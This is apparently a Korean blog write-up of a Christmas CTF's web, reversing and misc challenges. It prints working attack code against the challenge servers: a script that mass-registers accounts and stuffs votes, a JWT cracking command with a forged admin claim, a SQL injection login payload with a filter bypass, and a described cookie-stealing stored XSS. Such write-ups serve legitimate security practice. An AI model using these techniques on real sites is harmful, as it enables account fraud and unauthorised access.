Web


watermelon


음원 컨셉의 사이트인데, http://ch4n3.me:8080/xmas/.git/ 경로에 접근해보면 디렉토리 리스팅이 된다. 이걸로 log 확인해보면 flag 파일이 변경된 commit이 있는데 변경된 내역보면 내가 업로드한 음악의 좋아요 수가 1225이상이 되면 플래그를 준다. 계정 하나당 좋아요를 1개밖에 못눌러서 1225개 계정을 만든다음에 각 계정으로 좋아요 눌러주는 식으로 사재기를 했다.


먼저 회원가입 페이지에서 해당 코드 실행해서 자동으로 1300개 계정을 만들어줬다.


function auto_register(i){

grecaptcha.execute('6LeKDskUAAAAAAh1LrqJ8isTG7rzGFpgNGas4x7z', {action: 'homepage'}).then(function(token) {

var xhr = new XMLHttpRequest();

var formData = new FormData();

formData.append('id', "youngsinanna"+i);

formData.append('password', "12345");

formData.append('nickname', "youngsinanna"+i);

formData.append('g-recaptcha-response', token);


xhr.onload = function() {

if (xhr.status === 200 || xhr.status === 201) {

    console.log(xhr.responseText);

  } else {

    console.error(xhr.responseText);

  }

};

xhr.open('POST', 'http://ch4n3.me:8080/xmas/?p=signup.ok');

xhr.send(formData);

});

}


for(var i=0; i<1300; i++){

auto_register(i);

}


그다음 생성한 계정들로 좋아요를 눌러주는 코드를 짜서 돌려주면 플래그가 나온다.


import requests


def login(id):

    url =  "http://ch4n3.me:8080/xmas/?p=signin.ok"

    data = {"id":id,"password":"12345"}


    result = requests.post(url,data=data).headers

    try:

        tmp =  result['Set-Cookie'].split(";")

        return tmp[0].replace("PHPSESSJWT=","")

    except:

        return "Not Found"


def vote(token):

    url = "http://ch4n3.me:8080/xmas/vote.php"

    header = {"Cookie":"PHPSESSJWT="+token+";"}

    data = {"music_no":"348"}

    result = requests.post(url,headers=header,data=data).text

    if "already voted" not in result:

        print "Success Vote!"

    else:

        print "Fail Already!"


result = []

for i in range(0,2000):

    yab = login("youngsinanna"+str(i))

    if yab!="Not Found":

        print str(i)

        vote(yab)


JWT

jwt crack 문제인데, 제공된 소스코드를 보면 키 길이가 8자리에 사용된 문자는 숫자로만 이루어져있다. 

jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjYzLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTc3MjM5NjEyLCJleHAiOjE1NzczMjYwMTIsImlzcyI6ImMydzJtMiJ9.Rirq3kRvLvK0t45U-8wSXrxF2q5mt2Y18AeMMrGboEA" "0123456789" 8

이걸루 key 값 crack 한 다음 {"uid":0,"isAdmin":true,"iat":1577239612,"exp":1577326012,"iss":"c2w2m2"} 요 값을 jwt encode해서 flag 페이지 접근하면 플래그가 나온다.


CSRF

회원가입,로그인,게시글 쓰기,게시글 조회 기능이 있는데, 게시글 쓸 때 stored xss가 터진다. 별다른 필터가 없어서 그냥 title 영역에 cookie 값 leak하는 기본 코드 넣어주면 봇이 플래그를 준다.

Dynamic SQL


로그인 할 때 SQL Injection이 있는데 필터링이 있는데 괄호로 우회해주면 되고 첫 세션에서는 디비가 dynamic_*가 아니라 아래 페이로드 요청할 때 세션 값 제거하고 보내주면 된다.


id=\&pw=union(select(1),2,group_concat(note)from(users))%23



Rev


welcome rev


암호화된 파일과 바이너리가 주어진다. 파일 내용을 4글자씩 받아와서 특정 테이블을 통해 암호화 연산을 한다. 4글자 단위로 암호화를 하고있어서 그냥 암호화 루틴 그대로 가져와서 브포 돌리는 식으로 플래그를 구했다.


import string


dword_5577A4E74AE0 = [0x0,0x77073096,0x0EE0E612C,0x990951BA,0x76DC419,0x706AF48F,0x0E963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0x0E0D5E91E,0x97D2D988,0x9B64C2B,0x7EB17CBD,0x0E7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0x0F3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0x0F4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0x0FD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0x0FA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0x0D56041E4,0x0A2677172,0x3C03E4D1,0x4B04D447,0x0D20D85FD,0x0A50AB56B,0x35B5A8FA,0x42B2986C,0x0DBBBC9D6,0x0ACBCF940,0x32D86CE3,0x45DF5C75,0x0DCD60DCF,0x0ABD13D59,0x26D930AC,0x51DE003A,0x0C8D75180,0x0BFD06116,0x21B4F4B5,0x56B3C423,0x0CFBA9599,0x0B8BDA50F,0x2802B89E,0x5F058808,0x0C60CD9B2,0x0B10BE924,0x2F6F7C87,0x58684C11,0x0C1611DAB,0x0B6662D3D,0x76DC4190,0x1DB7106,0x98D220BC,0x0EFD5102A,0x71B18589,0x6B6B51F,0x9FBFE4A5,0x0E8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0x0E10E9818,0x7F6A0DBB,0x86D3D2D,0x91646C97,0x0E6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0x0F262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0x0F50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0x0FCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0x0FBD44C65,0x4DB26158,0x3AB551CE,0x0A3BC0074,0x0D4BB30E2,0x4ADFA541,0x3DD895D7,0x0A4D1C46D,0x0D3D6F4FB,0x4369E96A,0x346ED9FC,0x0AD678846,0x0DA60B8D0,0x44042D73,0x33031DE5,0x0AA0A4C5F,0x0DD0D7CC9,0x5005713C,0x270241AA,0x0BE0B1010,0x0C90C2086,0x5768B525,0x206F85B3,0x0B966D409,0x0CE61E49F,0x5EDEF90E,0x29D9C998,0x0B0D09822,0x0C7D7A8B4,0x59B33D17,0x2EB40D81,0x0B7BD5C3B,0x0C0BA6CAD,0x0EDB88320,0x9ABFB3B6,0x3B6E20C,0x74B1D29A,0x0EAD54739,0x9DD277AF,0x4DB2615,0x73DC1683,0x0E3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0x0E40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0x0F00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0x0F762575D,0x806567CB,0x196C3671,0x6E6B06E7,0x0FED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0x0F9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0x0D6D6A3E8,0x0A1D1937E,0x38D8C2C4,0x4FDFF252,0x0D1BB67F1,0x0A6BC5767,0x3FB506DD,0x48B2364B,0x0D80D2BDA,0x0AF0A1B4C,0x36034AF6,0x41047A60,0x0DF60EFC3,0x0A867DF55,0x316E8EEF,0x4669BE79,0x0CB61B38C,0x0BC66831A,0x256FD2A0,0x5268E236,0x0CC0C7795,0x0BB0B4703,0x220216B9,0x5505262F,0x0C5BA3BBE,0x0B2BD0B28,0x2BB45A92,0x5CB36A04,0x0C2D7FFA7,0x0B5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0x0EC63F226,0x756AA39C,0x26D930A,0x9C0906A9,0x0EB0E363F,0x72076785,0x5005713,0x95BF4A82,0x0E2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0x0E5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0x0F1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0x0F6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0x0FF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0x0F862AE69,0x616BFFD3,0x166CCF45,0x0A00AE278,0x0D70DD2EE,0x4E048354,0x3903B3C2,0x0A7672661,0x0D06016F7,0x4969474D,0x3E6E77DB,0x0AED16A4A,0x0D9D65ADC,0x40DF0B66,0x37D83BF0,0x0A9BCAE53,0x0DEBB9EC5,0x47B2CF7F,0x30B5FFE9,0x0BDBDF21C,0x0CABAC28A,0x53B39330,0x24B4A3A6,0x0BAD03605,0x0CDD70693,0x54DE5729,0x23D967BF,0x0B3667A2E,0x0C4614AB8,0x5D681B02,0x2A6F2B94,0x0B40BBE37,0x0C30C8EA1,0x5A05DF1B,0x2D02EF8D]


def sub_5577A4E7485A(input):

    v4 = -1&0xffffffff

    for i in range(0,len(input)):

        v4 = ((v4>>8) ^ dword_5577A4E74AE0[(v4^ord(input[i]))&0xff])&0xffffffff

    return v4&0xffffffff


def bruteForce(encData):

    strings = string.ascii_lowercase + "XMAS" + "{}_!?"


    for i in strings:

        for j in strings:

            for k in strings:

                for p in strings:

                    tmp = i+j+k+p

                    if sub_5577A4E7485A(tmp) == encData:

                        return tmp


encData=[0xb3406737,0x94789c6e,0x93574866,0x0ebfe856,0xc039f1d5]

flag = ""

for i in encData:

    flag += bruteForce(i)


print flag


Misc


Strange Elephpant


코끼리랑 가위바위보해서 100연승을 하면 된다. 매번 페이지에 들어갈때 마다 바뀌는 코끼리 사진을 통해 현재 코끼리가 뭘 냈는지 알 수 있고 매 요청마다 이기고,지고,비기고가 랜덤하게 요구되며 매번 2초안에 이걸 해내면서 100연승 해야된다. 해당 요구들에 맞춰 자동화해서 100연승 해주면 된다.


#-*- coding: utf-8 -*-

import sys

import requests


reload(sys)

sys.setdefaultencoding('utf-8')


def get_rule():

    url = "http://115.68.235.72:12372/index.php"

    header = {"Cookie":"PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    return requests.get(url,headers=header).text


def get_image():

    url = "http://115.68.235.72:12372/image.php"

    header = {"Cookie": "PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    result = len(requests.get(url, headers=header).text)

    print result

    if result>73760 and result<73780:

        return "보"

    elif result>72150 and result<72170:

        return "바위"

    else:

        return "가위"


def send_value(payload):

    url = "http://115.68.235.72:12372/index.php"

    header = {"Cookie": "PHPSESSID=c82e426710dd228c1709ead4428612a3"}

    data = {"answer":payload}

    return requests.post(url, headers=header,data=data).text


for i in range(0,100):

    result = get_rule()

    print result

    payload = get_image()

    if "비겨" in result:

        send_value(payload)

    elif "이겨" in result:

        if payload=="가위":

            send_value("바위")

        elif payload=="바위":

            send_value("보")

        else:

            send_value("가위")

    elif "져" in result:

        if payload=="가위":

            send_value("보")

        elif payload=="바위":

            send_value("가위")

        else:

            send_value("바위")

    else:

        print result



Santa Game

주어진 주소 접속해서 아래와 같이 입력해주면 플래그가 나온다.

Address : 127.0.0.1
Port : 31337

Solo


qr코드가 6조각인가로 분해되어 있다. 포토샵으로 대충 퍼즐맞추듯이 맞춰준다음에 디코딩해보면 플래그가 나온다.


MIRO


미로 게임이 5단계까지 있다. 이건 그냥 수동으로해도 깰 수 있을 정도 난이도라서 그냥 게임해서 플래그를 구했다.


Thank you


각 스폰서 페이지 내 주석으로 플래그가 분할되어 있다. 모든 스폰서 페이지 들어가서 조각난 플래그 구해서 합쳐주면 된다.

'CTF > Writeup' 카테고리의 다른 글

Zer0pts CTF 2020 Writeup  (1) 2020.03.08
ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,